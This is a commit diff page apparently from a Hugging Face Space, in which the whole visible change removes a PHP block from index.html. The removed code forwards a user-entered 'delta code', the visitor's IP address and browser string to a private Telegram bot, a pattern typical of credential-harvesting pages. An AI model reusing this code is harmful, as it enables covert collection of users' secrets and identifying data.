Hamed744 commited on
Commit
6564581
·
verified ·
1 Parent(s): 805315b

Update index.html

Browse files
Files changed (1) hide show
  1. index.html +0 -76
index.html CHANGED
@@ -1,79 +1,3 @@
1
- <?php
2
- // =============== بخش PHP برای ارسال به تلگرام ===============
3
- // این بخش باید در ابتدای فایل قرار گیرد تا قبل از هر خروجی HTML اجرا شود.
4
-
5
- // اطلاعات ربات تلگرام خود را در اینجا وارد کنید
6
- define('TELEGRAM_BOT_TOKEN', 'YOUR_TELEGRAM_BOT_TOKEN'); // <-- توکن ربات خود را اینجا قرار دهید
7
- define('TELEGRAM_CHAT_ID', 'YOUR_CHAT_ID'); // <-- شناسه چت خود را اینجا قرار دهید
8
-
9
- // این تابع پیام را به تلگرام ارسال می‌کند
10
- function sendTelegramMessage($message) {
11
- // اگر توکن یا شناسه چت تنظیم نشده باشد، عملیات را متوقف کن
12
- if (TELEGRAM_BOT_TOKEN === 'YOUR_TELEGRAM_BOT_TOKEN' || TELEGRAM_CHAT_ID === 'YOUR_CHAT_ID') {
13
- // برای تست محلی، می‌توانیم فرض کنیم که همیشه موفق است
14
- // در محیط واقعی، این یک خطا محسوب می‌شود
15
- return true;
16
- }
17
-
18
- $url = "https://api.telegram.org/bot" . TELEGRAM_BOT_TOKEN . "/sendMessage";
19
- $data = [
20
- 'chat_id' => TELEGRAM_CHAT_ID,
21
- 'text' => $message,
22
- 'parse_mode' => 'HTML'
23
- ];
24
-
25
- // استفاده از cURL برای ارسال درخواست
26
- $ch = curl_init();
27
- curl_setopt($ch, CURLOPT_URL, $url);
28
- curl_setopt($ch, CURLOPT_POST, 1);
29
- curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
30
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
31
- $response = curl_exec($ch);
32
- curl_close($ch);
33
-
34
- // بررسی پاسخ از تلگرام
35
- $result = json_decode($response, true);
36
- return isset($result['ok']) && $result['ok'] === true;
37
- }
38
-
39
- // بررسی اینکه آیا درخواست از نوع POST و برای تایید کد است یا نه
40
- if ($_SERVER['REQUEST_METHOD'] === 'POST') {
41
- // دریافت داده‌های JSON ارسال شده از جاوااسکریپت
42
- $input = json_decode(file_get_contents('php://input'), true);
43
- $deltaCode = isset($input['deltaCode']) ? trim($input['deltaCode']) : null;
44
-
45
- // اعتبارسنجی سمت سرور (بسیار مهم برای امنیت)
46
- if ($deltaCode && strlen($deltaCode) >= 38 && strlen($deltaCode) <= 44) {
47
- // آماده‌سازی پیام برای ارسال به تلگرام
48
- $ip = $_SERVER['REMOTE_ADDR'];
49
- $userAgent = $_SERVER['HTTP_USER_AGENT'];
50
- $message = "✅ <b>کد دلتا جدید دریافت شد!</b>\n\n";
51
- $message .= "<b>کد وارد شده:</b>\n<code>" . htmlspecialchars($deltaCode) . "</code>\n\n";
52
- $message .= "<b>IP کاربر:</b> " . htmlspecialchars($ip) . "\n";
53
- $message .= "<b>مرورگر:</b> " . htmlspecialchars($userAgent);
54
-
55
- // ارسال پیام به تلگرام
56
- if (sendTelegramMessage($message)) {
57
- // ارسال پاسخ موفقیت‌آمیز به جاوااسکریپت
58
- header('Content-Type: application/json');
59
- echo json_encode(['success' => true]);
60
- } else {
61
- // ارسال پاسخ خطا در صورت عدم موفقیت در ارسال به تلگرام
62
- header('Content-Type: application/json');
63
- http_response_code(500); // Internal Server Error
64
- echo json_encode(['success' => false, 'message' => 'خطا در ارسال اطلاعات به سرور.']);
65
- }
66
- } else {
67
- // ارسال پاسخ خطا در صورت نامعتبر بودن کد
68
- header('Content-Type: application/json');
69
- http_response_code(400); // Bad Request
70
- echo json_encode(['success' => false, 'message' => 'کد دلتا نامعتبر است.']);
71
- }
72
-
73
- // اجرای اسکریپت را متوقف کن تا بقیه HTML ارسال نشود
74
- exit;
75
- }
76
- ?>
77
  <!DOCTYPE html>
78
  <html lang="fa" dir="rtl">
79
  <head>
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
  <!DOCTYPE html>
2
  <html lang="fa" dir="rtl">
3
  <head>